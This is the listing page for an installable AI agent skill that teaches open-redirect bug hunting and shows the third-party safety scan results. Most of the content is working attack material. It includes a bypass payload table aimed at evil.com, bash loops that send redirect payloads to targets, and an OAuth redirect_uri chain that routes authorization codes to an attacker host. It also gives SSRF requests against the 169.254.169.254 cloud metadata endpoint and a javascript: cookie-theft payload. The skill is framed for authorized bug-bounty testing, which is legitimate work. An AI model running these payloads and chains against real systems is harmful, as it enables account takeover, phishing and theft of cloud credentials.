hunt-open-redirect
Hunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains.
How do I install this agent skill?
npx skills add https://github.com/uphiago/recon-skills --skill hunt-open-redirectIs this agent skill safe to install?
- Gen Agent Trust Hubpass
The skill provides a legitimate methodology and automation script for security researchers to identify and test for open redirect vulnerabilities using standard command-line utilities and security-focused packages.
- Socketwarn
1 alert: gptSecurity
- Snykpass
Risk: LOW · No issues
What does this agent skill do?
HUNT-OPEN-REDIRECT — Open Redirect
When to Use
Use when the target has any redirect parameter — ?url=, ?next=, ?redirect=, ?return=, ?redirect_uri=, or similar — on login/logout flows, OAuth authorization endpoints, language switchers, payment redirects, or any parameter that controls where the user is sent after an action. Open redirect alone is Low on most programs, but becomes Critical when chained to OAuth token theft (redirect_uri bypass) or SSRF escalation. Every OAuth authorization endpoint with a configurable redirect_uri is the highest-value target.
Prerequisites
- Explicit authorization, target boundaries, and rate limits for the target.
- Tooling:
curl,gf,nuclei. - A writable evidence directory:
export OUTPUT_DIR="${OUTPUT_DIR:-./output}" && mkdir -p "$OUTPUT_DIR". - For any state-changing step (writes, uploads, credential attempts), obtain explicit confirmation immediately before the command.
How to Run
# Set once per engagement; every step below uses these.
TARGET="example.com" # or the engagement target
export OUTPUT_DIR="${OUTPUT_DIR:-./output}"
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl --max-time 30 --connect-timeout 10 -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
Procedure
The phases below are the procedure. Keep each probe bounded (--max-time), record evidence beneath OUTPUT_DIR, and stop at the stop-conditions listed in Pitfalls.
Crown Jewel Targets
Open redirect alone is Low. Chained to OAuth = Critical (ATO).
Highest-value chains:
- Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
- Open redirect → phishing — users trust the URL because it starts with target.com
- Open redirect → SSRF escalation — if redirect followed server-side → SSRF
- Open redirect → session fixation — force user to login endpoint with pre-set session
Attack Surface Signals
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=
Bypass Table
| Technique | Payload |
|---|---|
| Basic | https://evil.com |
| Protocol relative | //evil.com |
| Backslash bypass | /\\evil.com |
| At-sign confusion | https://target.com@evil.com |
| Double slash | //evil.com/%2F.. |
| URL encoding | %2Fevil.com |
| Null byte | evil.com%00target.com |
| Whitespace | evil.com%09 or %20 |
| JavaScript URI | javascript:window.location='https://evil.com' |
| Data URI | data:text/html,<script>window.location='https://evil.com'</script> |
| Subdomain | https://target.com.evil.com |
| Fragment | https://evil.com#.target.com |
Common Root Causes
- Parameter whitelist without validation — Developers maintain a list of redirect parameters (
url,next,return) but only validate that the parameter exists, not its value. - User-friendly redirect features — Post-login redirect, logout redirect, and language-switching features all need to redirect to user-controlled destinations.
- Third-party OAuth/SAML libraries — Many auth libraries allow configuring
redirect_urivalidation loosely (prefix match, suffix match, wildcard) that match attacker-controlled subdomains. - SSO implementation shortcuts — Developers configure
redirect_urito accept the current request Host header, enabling Host-header-based open redirects. - Assume-JSON-bodies-are-safe — POST-based redirect parameters in API requests frequently skip validation that GET-based redirects enforce.
- Fragment and linefeed handling — URL parsers disagree on what constitutes the end of a URL; newlines and carriage returns can break out of URL validation.
Real Examples
Scenario A — OAuth redirect_uri Wildcard → 1-Click ATO
A ride-sharing platform's OAuth implementation accepted redirect_uri values matching *.uberinternal.com. An attacker found a dangling subdomain at support.uberinternal.com that could be claimed. By crafting an authorize URL with redirect_uri=https://support.uberinternal.com/oauth-callback, an attacker could intercept the auth code of any user who clicked the link, exchange it for an access token, and achieve full account takeover. Impact: Critical — complete user account takeover via a single crafted link.
Scenario B — Logout Redirect in Password Reset Email → Session Hijack
A major e-commerce platform's password reset email contained a logout link with a redirect_to parameter: https://target.com/logout?redirect_to=https://target.com/reset-complete. The redirect_to parameter accepted any URL, including https://evil.com. An attacker who could intercept the reset email (via email compromise or MitM) could modify the redirect target. After the victim reset their password, they were redirected to the attacker's site with the new session cookie still valid for cross-origin exfiltration. Impact: session hijack post-password-reset.
Step-by-Step Hunting Methodology
Phase 1 — Discover Redirect Parameters
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
Phase 2 — Basic Test
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl --max-time 30 --connect-timeout 10 -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
Phase 3 — Bypass Techniques
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://$TARGET@evil.com"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl --max-time 30 --connect-timeout 10 -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
done
Phase 4 — OAuth Chain Test
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl --max-time 30 --connect-timeout 10 -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
Phase 5 — Server-Side Redirect (SSRF escalation)
# If the app fetches the redirect target server-side (302 fetch follow)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
# Or: if app makes HTTP request to the redirect destination
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
-H "Cookie: $SESSION"
Automation
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
Chain Table
| Open redirect finding | Chain to | Impact |
|---|---|---|
| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |
| Any open redirect | Phishing URL with target domain | Social engineering |
| Server-side redirect | SSRF via followed redirect | Internal service access |
| Logout redirect | Session fixation | Force login with known session |
Validation
✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page
Severity:
- Redirect alone: Low (most programs)
- Chains to OAuth code theft → ATO: High/Critical
- Chains to phishing with brand name: Low-Medium
- Server-side → SSRF: High
Pitfalls
- Open redirect alone is Low — most bug bounty programs pay Low for open redirect without chaining to OAuth/ATO.
- javascript: scheme in redirect —
javascript:alert(1)in a redirect parameter is XSS, not open redirect. Distinguish the two. - CRLF injection in redirect —
%0d%0ain redirect parameter enables header injection. This is higher impact than open redirect. - Meta refresh redirect —
<meta http-equiv="refresh">redirect is harder to exploit than 3xx. Document the attack scenario (phishing, not automated).
Verification
- The response must carry a
Location:header to the attacker host, captured with--max-redirs 0. - Meta-refresh or JavaScript redirects require a browser PoC to count.
- The exact URL, redirect target, and full response headers are recorded beneath
${OUTPUT_DIR:-./output}.
Related Skills
hunt-oauth— Open redirect on an OAuthredirect_uriturns a Low finding into Critical ATO. Chain primitive:redirect_uri=https://target.com/redirect?url=https://evil.com→ auth code lands on evil.com → exchange for token → ATO.hunt-ssrf— If the 302 redirect is followed server-side (image proxy, link preview), open redirect becomes SSRF. Chain primitive: server-side URL fetcher follows 302 from attacker host tohttp://169.254.169.254/latest/meta-data/→ cloud creds.hunt-ato— Password reset links that include an open redirect in the return URL leak the token. Chain primitive: reset email containshttps://target.com/reset?token=X&redirect=https://evil.com→ token exfil via Referer or redirect.hunt-xss—javascript:protocol in redirect parameters creates a single-click XSS. Chain primitive:?redirect=javascript:alert(document.cookie)→ session cookie theft without server-side injection.hunt-host-header— Open redirect via Host header injection overlaps with this class. Chain primitive: Host: evil.com → server builds redirect Location from Host → victim redirected to attacker host.security-arsenal— Load the Open Redirect Bypass Table: protocol-relative//evil.com, backslash\\evil.com, at-sign@evil.com, double-slash encoding, null byte, whitespace injection, data: URI.triage-validation— Apply the Pre-Severity Gate. A standalone open redirect is Low on most programs. Only file at High+ when you demonstrate a chain (OAuth token theft, session fixation, SSRF escalation).
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